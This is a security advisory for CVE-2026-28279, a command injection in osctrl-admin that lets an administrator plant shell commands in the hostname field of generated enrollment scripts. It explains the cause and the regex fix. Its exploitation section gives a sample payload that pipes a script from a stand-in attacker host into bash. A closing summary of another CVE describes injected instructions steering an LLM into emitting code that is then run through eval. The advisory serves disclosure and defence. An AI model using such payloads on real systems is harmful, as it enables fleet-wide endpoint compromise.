Feb 28, 2026·5 min read·46 visits
Authenticated RCE in osctrl < v0.5.0 allows attackers to compromise endpoints during enrollment by injecting commands into the hostname field.
A critical command injection vulnerability exists in the osctrl-admin component of the osctrl osquery management platform. The vulnerability allows authenticated administrators to inject arbitrary shell commands into generated enrollment scripts via the environment hostname parameter. When these scripts are executed on endpoints to install the osquery agent, the injected commands run with high privileges (typically root or SYSTEM), allowing for potential fleet-wide compromise.
A security flaw has been identified in osctrl-admin, the administrative interface for the osctrl osquery management solution. The vulnerability, classified as OS Command Injection (CWE-78), resides in the logic used to generate enrollment scripts—"one-liners" provided to administrators for deploying osquery agents to endpoints. The affected component fails to properly sanitize user-supplied configuration data before embedding it into shell (Linux/macOS) and PowerShell (Windows) scripts.
This flaw introduces a significant supply-chain risk within the managed environment. Although the vulnerability requires administrative authentication to the management console, it allows a compromised or malicious administrator to pivot from the central server to the managed endpoints. Because enrollment scripts are typically executed with elevated privileges (root or SYSTEM) to install system services, the injected commands inherit these permissions, granting the attacker full control over the target machine during the enrollment phase.
The root cause of this vulnerability is the unsafe use of Go's text/template package for generating executable scripts, combined with a lack of input validation on the hostname parameter. In the osctrl-admin backend, environment configurations allow administrators to specify a hostname where the osquery agents should connect (e.g., osctrl.example.com).
When an administrator requests an enrollment script, the backend reads a template file and substitutes the configuration values into the script text. The text/template engine performs raw string substitution and does not offer context-aware escaping for shell syntax. Consequently, if the hostname parameter contains shell metacharacters—such as semicolons (;), pipes (|), or command substitutions ($() or `)—these characters are written literally into the generated script.
For example, a legitimate script line might look like this:
./osquery-install.sh --flag --hostname \{\{ .Hostname \}\}
If the input is not sanitized, a malicious input transforms the line into valid shell logic that executes an additional command:
./osquery-install.sh --flag --hostname osctrl.com; malicious_command
The remediation for CVE-2026-28279 involves enforcing strict input validation on environment parameters before they are persisted to the database. The maintainers introduced a specific regex filter to ensure the hostname contains only safe characters (alphanumeric, dots, and hyphens).
Vulnerable Logic (Conceptual):
Previously, the HTTP handler for updating environments accepted the hostname string directly from the POST request body and saved it to the configuration store without validating its contents against a strict allow-list.
Patched Logic (v0.5.0):
A new validation function was added in pkg/environments/filters.go to reject any input containing shell metacharacters.
// pkg/environments/filters.go
const (
// Strict regex allowing only alphanumeric chars, dots, and hyphens
hostnameRegex string = `^[a-zA-Z0-9.\-]+$`
)
func HostnameFilter(s string) bool {
re := regexp.MustCompile(hostnameRegex)
return re.MatchString(s)
}The EnvsPOSTHandler in cmd/admin/handlers/post.go was updated to invoke this filter. If VerifyEnvFilters fails, the server returns an error code (400 Bad Request or 500 Internal Server Error) and refuses to save the malicious configuration, preventing the injection at the source.
Exploitation of this vulnerability requires an attacker to possess credentials for the osctrl-admin interface. Once authenticated, the attack follows a specific workflow targeting the enrollment process.
hostname field. Instead of a valid domain, they input a payload such as osctrl.local; curl http://attacker-c2.com/payload.sh | bash..sh or .ps1 one-liner) from the UI. The backend templates the malicious string directly into the command arguments of the script.sudo or as Administrator to install osquery, the shell interprets the semicolon as a command separator. It executes the osquery installation command, followed immediately by the injected curl/bash command.This attack vector is particularly dangerous because it occurs before the security agent is successfully installed and reporting. The malicious activity runs outside the visibility of the tool meant to monitor the system.
The impact of CVE-2026-28279 is rated High (CVSS 7.3) due to the potential for complete system compromise on enrolled endpoints. While the requirement for high privileges (PR:H) and user interaction (UI:R) lowers the base score, the Scope Change (S:C) reflects the critical nature of the vulnerability: a compromise of the management plane leads directly to a compromise of the managed infrastructure.
Key Risks:
CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
osctrl jmpsec | < 0.5.0 | 0.5.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| CVSS v3.1 | 7.3 (High) |
| Attack Vector | Adjacent Network |
| Exploit Status | PoC Available |
| EPSS Score | 0.00112 |
| Patch Version | 0.5.0 |
A critical server-side template injection (SSTI) vulnerability exists in the Volt template engine of the Phalcon PHP framework. In versions 5.15.0 and earlier, raw AST token values for filter arguments in the 'join' filter are directly spliced into the generated PHP template code. This allows an attacker who can influence Volt templates to execute arbitrary PHP code during template rendering.
CVE-2026-61539 is a critical remote code execution vulnerability in Xinference, an inference API framework for open-source LLMs. In version 2.5.0 and earlier, model-generated outputs representing Llama3 tool calls are passed directly to Python's built-in eval() function inside the parser components. By manipulating conversational input or injecting instructions, an attacker can influence the LLM to output a Python expression containing malicious system commands, resulting in unauthenticated remote code execution on the host. This vulnerability has been resolved in Xinference version 2.7.0.
An uncontrolled resource consumption vulnerability (CWE-400/CWE-789) exists within the kin-openapi Go library prior to version 0.142.0. The vulnerability occurs during the processing of highly sparse array indexes inside query parameters defined in deepObject style. An unauthenticated remote attacker can exploit this flaw to cause an immediate Out-of-Memory (OOM) crash of the target application.
A critical prototype pollution and sandbox escape vulnerability was discovered in the JSONata query and transformation library before versions 1.8.8 and 2.2.0. By providing a malicious JSONata expression that bypasses ownership checks on object properties, remote attackers can execute arbitrary code in the context of the host Node.js application.
CVE-2026-63135 is a critical stored Cross-Site Scripting (XSS) vulnerability affecting YOURLS (Your Own URL Shortener) versions 1.5.1 up to (but not including) 1.10.4. Unauthenticated remote attackers can inject malicious JavaScript arrays by crafting an HTTP Referer header sent to a short URL redirect. This value is saved in the database logs and executed without context-aware escaping when an administrative user views the corresponding statistics visualization page.
CVE-2026-68508 is a high-severity arbitrary code execution vulnerability in facebookresearch/hydra (hydra-core) prior to version 1.3.4. The vulnerability exists within the dynamic instantiation system hydra.utils.instantiate(), which resolves and executes arbitrary Python callables from configuration files. An attacker capable of submitting untrusted configurations can achieve arbitrary code execution in the context of the consuming process.